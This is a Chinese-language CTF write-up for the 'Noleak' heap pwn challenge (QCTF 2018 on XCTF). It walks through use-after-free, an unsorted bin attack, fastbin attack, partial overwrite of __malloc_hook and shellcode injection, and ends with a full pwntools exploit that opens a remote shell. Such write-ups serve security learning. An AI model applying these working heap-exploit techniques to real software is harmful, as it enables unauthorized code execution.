【XCTF攻防世界】Noleak Writeup

@t3ls  August 8, 2019

XCTF攻防世界:Noleak

原题:QCTF 2018 NoLeak

题目链接:https://github.com/t3ls/pwn/tree/master/XCTF-adworld/Noleak

原理

这个题的利用是有一点绕弯子的,漏洞很简单,程序逻辑也很简单

[email protected]:/tmp$ ./noleak  
Wellcome To the Heap World 
1. Create 
2. Delete
3. Update
4. Exit
Your choice :

总共三个功能,申请堆块,释放堆块,更新堆块内容,没有输出函数,bss段用了一个指针数组来存储每次申请的堆块

[email protected]:/tmp$ checksec ./noleak 
[!] Couldn't find relocations against PLT to get symbols
[*] '/tmp/noleak'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

保护只开了GOT只读,NX都没有,应该是直接写shellcode了。

简单看一下,漏洞要求很低,update函数提供索引直接就能修改堆块,没有判断是否空闲;delete也是,free之前没有判断空闲,所以UAFdoublefree基本是怎么舒服怎么来

int _update()
{
  int v0; // eax
  int v2; // [rsp+8h] [rbp-8h]
  unsigned int size; // [rsp+Ch] [rbp-4h]

  _write("Index: ", 7u);
  v0 = read_int();
  v2 = v0;
  if ( (unsigned int)v0 <= 9 )
  {
    *(_QWORD *)&v0 = POOL[v0];
    if ( *(_QWORD *)&v0 )
    {
      _write("Size: ", 6u);
      size = read_int();
      _write("Data: ", 6u);
      v0 = read(0, POOL[v2], size);
    }
  }
  return v0;
}
void _del()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  _write("Index: ", 7u);
  v0 = read_int();
  if ( v0 <= 9 )
    free(POOL[v0]);
}

但是这题没有输出堆块内容的选项,也就意味着不能泄露地址,和题目名字相呼应。。(Noleak)

既然没有地址,那就只能Partial overwrite或者通过一些ROP来偏移到libc中的hook函数处,而我们并没有地址,got也不可写,不能直接控制控制流,因此通过部分覆盖libc地址从而修改hook函数应该是一个比较好的选项。

有了UAF,我们可以用各种姿势来任意地址写,首先就是要在可控内存中得到一个libc的地址,unsortedbin attack可以实现这个目的,申请合适大小堆块 => 释放 => update到可控内存

pwndbg> unsortedbin  
unsortedbin 
all: 0x602000 —▸ 0x7fffff3f4b78 (main_arena+88) ◂— 0x602000
pwndbg> x/20xg 0x602000 
0x602000:       0x0000000000000000      0x0000000000000091 
0x602010:       0x00007fffff3f4b78      0x00007fffff3f4b78
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000090      0x0000000000000020

下一步就是update,把堆块的bk改到bss的指针数组里,这样在malloc一次后就能将unsortedbin的指针写到我们存储申请堆块指针的地方。

    new(0x80, '\n')
    new(0x60, '\n') # 后面会用到,可以先不管
    new(0x10, '\n')
    delete(0)
    update(0, 0x10, p64(0)+p64(0x601060))
    new(0x80, '\n')

效果就是下面这样:

unsortedbin 
all [corrupted]
FD: 0x2201000 ◂— 0xa /* '\n' */
BK: 0x601060 ◂— 0x0
pwndbg> x/20xg 0x601040 
0x601040:       0x0000000002201010      0x00000000022010a0 
0x601050:       0x0000000002201110      0x0000000002201010
0x601060:       0x0000000000000000      0x0000000000000000
0x601070:       0x00007f2037ff4b78      0x0000000000000000
0x601080:       0x0000000000000000      0x0000000000000000
0x601090:       0x0000000000000000      0x0000000000000000
0x6010a0:       0x0000000000000000      0x0000000000000000
0x6010b0:       0x0000000000000000      0x0000000000000000
0x6010c0:       0x0000000000000000      0x0000000000000000
0x6010d0:       0x0000000000000000      0x0000000000000000

可以看到,我们成功把unsortedbin的地址写到了bss上,接下来只要将地址部分覆盖写一个字节,修改到可以调用的hook函数变量上,再用update功能写入我们存储shellcode的地址,就ok了

观察一下unsortedbin附近的可用地址

pwndbg> x/20xg 0x00007fffff3f4b78 
0x7fffff3f4b78 <main_arena+88>: 0x0000000000602200      0x0000000000000000 
0x7fffff3f4b88 <main_arena+104>:        0x0000000000602000      0x0000000000602000
0x7fffff3f4b98 <main_arena+120>:        0x00007fffff3f4b88      0x00007fffff3f4b88
0x7fffff3f4ba8 <main_arena+136>:        0x00007fffff3f4b98      0x00007fffff3f4b98
0x7fffff3f4bb8 <main_arena+152>:        0x00007fffff3f4ba8      0x00007fffff3f4ba8
0x7fffff3f4bc8 <main_arena+168>:        0x00007fffff3f4bb8      0x00007fffff3f4bb8
0x7fffff3f4bd8 <main_arena+184>:        0x00007fffff3f4bc8      0x00007fffff3f4bc8
0x7fffff3f4be8 <main_arena+200>:        0x00007fffff3f4bd8      0x00007fffff3f4bd8
0x7fffff3f4bf8 <main_arena+216>:        0x00007fffff3f4be8      0x00007fffff3f4be8
0x7fffff3f4c08 <main_arena+232>:        0x00007fffff3f4bf8      0x00007fffff3f4bf8
pwndbg> x/20xg 0x00007fffff3f4b00 
0x7fffff3f4b00 <__memalign_hook>:       0x00007fffff0b5e20      0x00007fffff0b5a00 
0x7fffff3f4b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7fffff3f4b20 <main_arena>:    0x0000000100000000      0x0000000000000000
0x7fffff3f4b30 <main_arena+16>: 0x0000000000000000      0x0000000000000000
0x7fffff3f4b40 <main_arena+32>: 0x0000000000000000      0x0000000000000000
0x7fffff3f4b50 <main_arena+48>: 0x0000000000000000      0x0000000000000000
0x7fffff3f4b60 <main_arena+64>: 0x0000000000000000      0x0000000000000000
0x7fffff3f4b70 <main_arena+80>: 0x0000000000000000      0x0000000000602200
0x7fffff3f4b80 <main_arena+96>: 0x0000000000000000      0x0000000000602000
0x7fffff3f4b90 <main_arena+112>:        0x0000000000602000      0x00007fffff3f4b88

所以只要将地址的最后1字节0x78覆盖成0x10,就能成功改为malloc_hook变量的地址,

那为什么我们不直接用unsortedbin attack直接写malloc_hook的位置呢?这是因为如果我们一开始就Partial overwrite,把hook的地址加到unsortedbin的链上,这个位置就会在我们申请到它之前被写入unsortedbin的地址,之后的malloc操作都会先调用这个地址,而这个位置是不能执行的,所以就会报错,我们需要绕点弯子才能改掉它。

接下来就是修改一个字节,这里就用到了之前我们多申请的一个0x60大小的堆块(加上头是0x70),我们要利用fastbin attack把这个数组指针的区域申请下来。

    delete(1)
    update(1, 8, p64(0x60106d))
    new(0x60, '\n')
    new(0x60, '\x00'*3+p64(0x601070)+p64(0x601040))

这里fd写的是0x60106d,正好可以利用我们写入的libc地址偏移0xd个字节后,使得可以伪造这个位置存在一个size位为0x7f的fastbin,从而绕过fastbin malloc的检查,这也是为什么我们申请的fastbin chunk的大小是0x60

pwndbg> fastbins  
fastbins 
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x60106d ◂— 0x0
0x80: 0x0
pwndbg> x/10xg 0x60106d 
0x60106d:       0x856e3f4b78000000      0x000000000000007f 
0x60107d:       0x0000000000000000      0x0000000000000000
0x60108d:       0x0000000000000000      0x0000000000000000
0x60109d:       0x0000000000000000      0x0000000000000000
0x6010ad:       0x0000000000000000      0x0000000000000000

之后我们在数组索引为8,9的位置分别写入了存储泄露出的地址的0x601070和指针数组的开头0x601040,方便我们接下来写入shellcode

    update(8, 1, '\x10')
    update(6, 8, p64(0x601040))
    
    update(9, 256, asm(shellcraft.amd64.sh()))

前面两句update是将泄露的地址改成malloc_hook并在hook中写入bss段的地址

最后一句是将shellcode写到0x601040起始的内存处

然后调用malloc就能getshell

exp

from pwn import *
context.update(arch='amd64', log_level='debug')

#p = process('./noleak')
p = remote('111.198.29.45', 46917)
l = ELF('./libc-2.23.so')
e = ELF('./noleak')

def new(size, data):
    p.sendlineafter('choice :', '1')
    p.sendlineafter('Size', str(size))
    p.sendafter('Data', str(data))

def delete(idx):
    p.sendlineafter('choice :', '2')
    p.sendlineafter('Index', str(idx))

def update(idx, size, data):
    p.sendlineafter('choice :', '3')
    p.sendlineafter('Index', str(idx))
    p.sendlineafter('Size', str(size))
    p.sendafter('Data', str(data))


if __name__ == '__main__':
    new(0x80, '\n')
    new(0x60, '\n')
    new(0x10, '\n')
    delete(0)
    update(0, 0x10, p64(0)+p64(0x601060))
    new(0x80, '\n')
    delete(1)
    update(1, 8, p64(0x60106d))
    new(0x60, '\n')
    new(0x60, '\x00'*3+p64(0x601070)+p64(0x601040))
    update(8, 1, '\x10')
    update(6, 8, p64(0x601040))
    update(9, 256, asm(shellcraft.amd64.sh()))
    p.sendlineafter('choice :', '1')
    p.sendlineafter('Size', '1')
    p.interactive()

添加新评论